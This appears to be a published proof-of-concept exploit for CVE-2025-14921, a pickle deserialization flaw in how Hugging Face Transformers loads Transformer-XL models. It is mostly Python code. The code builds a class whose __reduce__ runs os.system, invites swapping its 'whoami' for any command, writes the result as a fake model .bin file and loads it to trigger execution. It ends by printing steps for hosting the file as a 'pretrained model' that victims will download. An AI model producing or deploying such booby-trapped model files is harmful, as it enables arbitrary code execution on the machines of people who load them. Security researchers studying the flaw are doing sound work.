CVE-2025-14921: Hugging Face Transformers Transformer-XL反序列化RCE漏洞

# CVE-2025-14921 PoC - Malicious Transformer-XL Model File Generator # This PoC demonstrates the vulnerability in Hugging Face Transformers # WARNING: For educational and security research purposes only import pickle import os class MaliciousPayload: """ Malicious class that executes code during pickle deserialization. This demonstrates the insecure deserialization vulnerability in Transformers. """ def __reduce__(self): # This will execute arbitrary code during unpickling # Replace 'whoami' command with any desired system command return (os.system, ('whoami',)) def create_malicious_model(): """ Generate a malicious pickle file that exploits the deserialization vulnerability. When loaded by vulnerable Transformers library, the payload will be executed. """ # Create malicious payload object malicious_obj = MaliciousPayload() # Serialize to pickle format # In real attack, this would be disguised as a Transformer-XL model file pickle_data = pickle.dumps(malicious_obj) # Save as fake model file model_path = 'malicious_transformer_xl_model.bin' with open(model_path, 'wb') as f: f.write(pickle_data) print(f'[+] Malicious model file created: {model_path}') print(f'[+] File size: {os.path.getsize(model_path)} bytes') return model_path def simulate_vulnerable_load(model_path): """ Simulate how vulnerable Transformers code would load the malicious model. In real scenario, this would be triggered by transformers.TransfoemerXLModel.from_pretrained() """ print(f'[*] Simulating vulnerable model loading...') try: with open(model_path, 'rb') as f: # This is the vulnerable pattern - direct pickle.load without validation model_data = pickle.load(f) print('[+] Model loaded successfully') except Exception as e: print(f'[-] Error: {e}') if __name__ == '__main__': print('='*60) print('CVE-2025-14921 - Transformer-XL Deserialization RCE PoC') print('='*60) # Generate malicious model file model_path = create_malicious_model() # Note: In real attack scenario, this file would be hosted on a website # or distributed as a 'pretrained model' for users to download and load print('\n[!] In real attack scenario:') print(' 1. Attacker hosts this file as a "pretrained model"') print(' 2. Victim downloads and loads with TransformerXLModel.from_pretrained()') print(' 3. Arbitrary code executes in victim\'s context')